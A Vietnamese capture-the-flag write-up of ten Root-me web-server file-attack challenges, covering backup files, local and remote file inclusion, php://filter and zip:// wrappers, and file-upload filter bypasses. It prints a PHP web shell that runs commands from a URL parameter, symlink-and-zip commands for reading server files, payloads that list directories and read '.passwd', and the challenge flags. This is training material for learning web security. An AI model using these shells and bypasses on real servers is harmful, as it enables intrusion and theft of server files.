# Root-me Challenges - Web-server Write-up: File attack ## 1. Backup file - Gợi ý tên bài là backup file, vậy thì ta sẽ dùng tool dirsearch để search thử trong cái url này xem có gì dùng được không ![](https://hackmd.io/_uploads/By5LtwqZ1g.png) - Có cái `index.php~` trả về status 200 kìa. Nhập url vào browser thì nó sẽ tải về một file doc. ![image](https://hackmd.io/_uploads/HJPycwqW1e.png) - Nhập `username` và `password` vào thì có flag. :::success Flag: OCCY9AcNm1tj ::: ## 2. Local File Inclusion - Tài liệu: [Source code auditing algorithsm for detecting LFI and RFI](https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Source%20code%20auditing%20algorithm%20for%20detecting%20LFI%20and%20RFI.pdf?_gl=1*16omvkp*_ga*MTQ4MjI0OTM1LjE3MTc1NzMyMDc.*_ga_SRYSKX09J7*MTcxNzU3Nzk1Ny4yLjEuMTcxNzU3ODQ5Ni4wLjAuMA) - Giờ sẽ thao tác thử. Sau một hồi thao tác và quan sát thì thấy thế này. Đầu tiên là vào esperit và file index.html thì ta được url: ![](https://hackmd.io/_uploads/SkJViD5-yl.png) - Ta sẽ thử tấn công bằng path traversal ![](https://hackmd.io/_uploads/H1nZnPc-kg.png) - Xem thử admin xem ![](https://hackmd.io/_uploads/Hk3N2wqZJe.png) - Xem thử `index.php` xem ![](https://hackmd.io/_uploads/SkQDaPc-Jl.png) - Thấy tài khoản admin rồi. Lấy đi submit và sẽ có flag. :::success Flag: OpbNJ60xYpvAQU8 ::: ## 3. Install files - Sau một hồi rất lâu nghiên cứu, tìm tòi, check source code, burpsuite các thứ thì không thấy có cái gì dùng được cả. Đề bài là install file nên khả năng lại phải dirsearch thử vậy. - Lần đầu tiên dirsearch, ngồi chờ rất lâu nhưng không có một cái url nào status code 200 cả. Thế là lại phải ngồi đơ ra một lúc. - Check lại trong burpsuite thì nó có cái này: ![image](https://hackmd.io/_uploads/H1CRCD5-kg.png) - Search thử xem phpbb thì thấy nó không liên quan gì lắm đến bài. Nhưng được cái là chúng ta có thêm 1 cái url để dirsearch. Và sau khi dirsearch cái phpbb thì được kết quả: ![](https://hackmd.io/_uploads/Hk0EyOqZyg.png) - Kiếm được file cần thiết rồi. Xem thử ![](https://hackmd.io/_uploads/HytdkO5Z1e.png) - Và ![](https://hackmd.io/_uploads/rJGjydqZkx.png) :::success Flag: karambar ::: ## 4. Local File Inclusion - Double Encoding - Tài liệu liên quan: https://owasp.org/www-community/Double_Encoding - Đầu tiên ta sẽ thử path traversal như bài LFI trước đó ![image](https://hackmd.io/_uploads/S1pted5-1g.png) - Bị phát hiện tấn công rồi, không dùng kiểu này được. Đề bài là double encoding nên thử encode cái `../` 2 lần xem thế nào. ![](https://hackmd.io/_uploads/ByL0fdqW1x.png) - Oke đã bị warning, vậy là bài này sẽ phải encode 2 lần. Vấn đề tiếp theo cần xác định là làm gì tiếp. Bài này là LFI, lại còn có encode nữa nên thứ đầu tiên tôi nghĩ đến là `php://filter` (gần giống với bài php - filter đã làm trước đó). - Giờ chúng ta sẽ encode 2 lần thứ này: `php://filter/convert.base64-encode/resource=cv` và nhét nó vào sau `?page=` ![](https://hackmd.io/_uploads/SyFaF_5Zke.png) ![](https://hackmd.io/_uploads/SJmy9_qW1g.png) - Decode nó ra thì ta được: ```php <?php include("conf.inc.php"); ?> <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>J. Smith - CV</title> </head> <body> <?= $conf['global_style'] ?> <nav> <a href="index.php?page=home">Home</a> <a href="index.php?page=cv" class="active">CV</a> <a href="index.php?page=contact">Contact</a> </nav> <h1><?= $conf['contact']['firstname'] ?> <?= $conf['contact']['lastname'] ?></h1> <h3>Professional doer</h3> <?= $conf['cv']['gender'] ? "Male" : "Female" ?><br> <?= date('Y/m/d', $conf['cv']['birth']) ?> (<?= date('Y')-date('Y', $conf['cv']['birth']) ?>) <?php foreach ($conf['cv']['jobs'] as $job) { ?> <div class="job"> <h4><?= $job['title'] ?> - <span class="date"><?= $job['date'] ?></span></h4> </div> <?php } ?> </body> </html> ``` - Thứ quý giá nhất chính là ta đã tìm thấy file `conf.inc.php`. Tiếp tục filter để đọc file này. Chú ý khi filter thì nhớ bỏ đuôi `.inc.php` ở cuối vì theo 3 warning đầu tiên nhận được thì source code sẽ tự thêm đuôi đó vào. ![](https://hackmd.io/_uploads/HJggsOcW1x.png) - Decode cái dòng kia ra thì ta được: ```php <?php $conf = [ "flag" => "Th1sIsTh3Fl4g!", "home" => '<h2>Welcome</h2> <div>Welcome on my personal website !</div>', "cv" => [ "gender" => true, "birth" => 441759600, "jobs" => [ [ "title" => "Coffee developer @Megaupload", "date" => "01/2010" ], [ "title" => "Bed tester @YourMom's", "date" => "03/2011" ], [ "title" => "Beer drinker @NearestBar", "date" => "10/2014" ] ] ], "contact" => [ "firstname" => "John", "lastname" => "Smith", "phone" => "01 33 71 00 01", "mail" => "john.smith@thegame.com" ], "global_style" => '<style media="screen"> body{ background: rgb(231, 231, 231); font-family: Tahoma,Verdana,Segoe,sans-serif; font-size: 14px; } div#main{ padding: 20px 10px; } nav{ border: 1px solid rgb(101, 101, 101); font-size: 0; } nav a{ font-size: 14px; padding: 5px 10px; box-sizing: border-box; display: inline-block; text-decoration: none; color: #555; } nav a.active{ color: #fff; background: rgb(119, 138, 144); } nav a:hover{ color: #fff; background: rgb(119, 138, 144); } h2{ margin-top:0; } </style>' ]; ``` :::success Flag: Th1sIsTh3Fl4g! ::: ## 5. File upload - Double extensions - Tài liệu liên quan: [Secure file upload in PHP web applications](https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Secure%20file%20upload%20in%20PHP%20web%20applications.pdf?_gl=1*1hki0u6*_ga*MTQ4MjI0OTM1LjE3MTc1NzMyMDc.*_ga_SRYSKX09J7*MTcxODYwNzYyOS45LjEuMTcxODYwNzcyMy4wLjAuMA) ![](https://hackmd.io/_uploads/rklo1Yq-yg.png) - Bài này chỉ chấp nhận các file ảnh, vậy nên ta sẽ up shell php lên và đổi đuôi file thành `.php.jpg` là được - Thay vì mỗi lần đổi shell lại phải up lại file khác thì tôi sẽ up shell này lên và dùng shell như một param `?c` lưu trong biến `$c` để bypass ```php <?php $c=$_GET['c']; echo passthru($c); ?> ``` - Thử trước với `ls -la`: ![](https://hackmd.io/_uploads/Hy8nlFqbyl.png) - Ngồi path traversal một lúc thì tôi ra được vài thông tin hữu ích với lệnh `ls ../../../ -la` ![](https://hackmd.io/_uploads/S1gS-FqW1g.png) - Đọc file `.passwd` là có flag. :::success Flag: Gg9LRz-hWSxqqUKd77-_q-6G8 ::: ## 6. File upload - MIME type - Bài này đề bài như trên, thử làm y hệt như bài trên thì không được. Vì khi bấm vào xem ảnh thì nó bị lỗi như này: ![](https://hackmd.io/_uploads/rJQ_MK5Wkg.png) - Vào burpsuite bắt gói tin thì nó cũng bị như này: ![](https://hackmd.io/_uploads/HyntGFcZ1e.png) - Tức là nó đang không thực thi file up lên. Tên bài là MIME type nên đoán là phải đổi content - type rồi. ![image](https://hackmd.io/_uploads/ByfaftqZkx.png) - Như vậy là ta có thể up file rồi. Gửi gói tin đi để xem kết quả: ![](https://hackmd.io/_uploads/Bk-17FqWJg.png) - Vậy là nó đã thực thi shell thành công. Giờ đổi shell để kiếm flag thôi ![](https://hackmd.io/_uploads/SJtMmt9Z1g.png) :::success Flag: a7n4nizpgQgnPERy89uanf6T4 ::: ## 7. File upload - Null byte - Bài này chỉ cần up được file php lên thôi là có flag. Tên bài là null byte nên đoán là sẽ phải thêm null byte vào đuôi file. Đúng là như thế, up đủ thể loại file lên không được. Nhưng khi up file `shell.php%00.jpg` thì được. Ấn vào xem ảnh là có flag. ![](https://hackmd.io/_uploads/ByVB4Y5Z1g.png) :::success Flag: YPNchi2NmTwygr2dgCCF ::: ## 8. File upload - ZIP - Tài liệu: https://book.hacktricks.xyz/pentesting-web/file-upload?fbclid=IwZXh0bgNhZW0CMTEAAR036La1ABv3hFk-KrjJ-mhvZt0JEeHdGtKwRswB3t7jV2Hkw5ePvcuhbbM_aem_THFQXmK_W4uKjjaSBiVdvQ - Đầu tiên tạo 1 shell.php, sau đó nén lại thành shell.zip có nội dung như này rồi up lên ```php <?php phpinfo(); ?> ``` ![](https://hackmd.io/_uploads/BklqHY9-Jl.png) - Up được nhưng không đọc được. - Sau khi bôn ba, tìm hiểu, bài này chúng ta sẽ phải dùng đến symlink. Symlink là tải lên một link chứa các soft link đến các tệp khác, sau đó truy cập vào các tệp được giải nén thì chúng ta sẽ truy cập các tệp được liên kết. - Tạo symlink bằng ubuntu (đã mò dần về 3 file trước đó): `ln -s ../../../index.php symindex.txt` - Nén nó lại: `zip --symlinks test.zip symindex.txt` - Được 1 file `test.zip` có `symindex.txt` như này: ![](https://hackmd.io/_uploads/S1vVLK5Zkx.png) - Up file đó lên rồi đọc nó ra thì được flag như này ![](https://hackmd.io/_uploads/HkEkwYqW1x.png) :::success Flag: N3v3r_7rU5T_u5Er_1npU7 ::: ## 9. Remote file inclusion - Bài này đầu tiên thử path traversal nhưng không được. - Tài liệu: [Source code auditing algorithm for detecting LFI and RFI](https://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Source%20code%20auditing%20algorithm%20for%20detecting%20LFI%20and%20RFI.pdf?_gl=1*17diakr*_ga*MTQ4MjI0OTM1LjE3MTc1NzMyMDc.*_ga_SRYSKX09J7*MTcyMjU2MzI4OS4yMi4xLjE3MjI1NjUwMjQuMC4wLjA) - Tức là ta sẽ phải redirect sang một trang khác. - Đầu tiên thử google thì nó không được: ![](https://hackmd.io/_uploads/ryotwF5bkl.png) - Thử thêm bất cứ một param nào khác thì nó đều báo lỗi, và dường như nó tự động thêm đuôi `_lang.php` vào sau param khi thực thi hàm. Tức là có thể hàm nó sẽ có dạng như này: ```php include($_GET['lang']_lang.php ``` - Thử thêm ? vào sau param để biến cái `_lang.php` thành một param khác thì được. Vậy thử cách mới với google: ![](https://hackmd.io/_uploads/BynwdY5WJg.png) - Giờ thì dẫn nó sang một cái code trên pastebin để nó thực thi shell. ![](https://hackmd.io/_uploads/HJTcdtq-ye.png) - Chuyển sang file raw như này: ![](https://hackmd.io/_uploads/HkLTOKqZ1e.png) - Redirect và được flag: ![](https://hackmd.io/_uploads/BkegtYcW1e.png) :::success Flag: R3m0t3_iS_r3aL1y_3v1l ::: ## 10. Local File Inclusion - Wrappers - Đầu tiên thử path traversal như bao bài khác: ![](https://hackmd.io/_uploads/B1gbqFq-1g.png) - Attack detected rồi. Bí rồi. Đi tìm đọc tài liệu về wrappers: [PayloadAllTheThings - LFI, RFI using wrappers](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/File%20Inclusion/README.md#lfi--rfi-using-wrappers) - Thử từng cái wrapper một đều không được. Thấy phải up file nên nghĩ nó là zip:// - Làm theo hướng dẫn nhé. Đầu tiên viết tạm 1 cái shell `echo "hi"` ra màn hình. Sau đó nén lại thành zip và đổi đuôi file thành `.jpg` để bypass filter. ![](https://hackmd.io/_uploads/H12q9K5-Je.png) - Up được rồi thì ctrl U xem source code. ![](https://hackmd.io/_uploads/SJxp9KcWJe.png) - Có cái đường dẫn đến file zip vừa up lên rồi. Giờ thì dùng `zip://` trong payloadallthething để xem. ![](https://hackmd.io/_uploads/HyfWjtc-yg.png) - Bước đầu thành công. Bây giờ đến đoạn viết shell. Đi từ đơn giản trước: ```php <?php echo file_get_contents("index.php"); ?> ``` - Kết quả: ![](https://hackmd.io/_uploads/rJ7PiYcZ1x.png) - Không có gì đáng giá cả. Thử tiếp mấy lệnh kiểu shell_exec, passthru, system, exec thì thấy tất cả đều bị disabled. ![](https://hackmd.io/_uploads/BkgiotqW1e.png) - Vậy ta sẽ thử scandir nó: ```php <?php $data=scandir('.'); var_dump($data); ?> ``` - Kết quả: ![](https://hackmd.io/_uploads/Bkkkht9bJe.png) - Đọc hàm flag ra: ```php <?php $data=file_get_contents("flag-mipkBswUppqwXlq9ZydO.php"); echo $data; ?> ``` - View source code thì ta thấy flag. :::success Flag: lf1-Wr4pp3r_Ph4R_pwn3d :::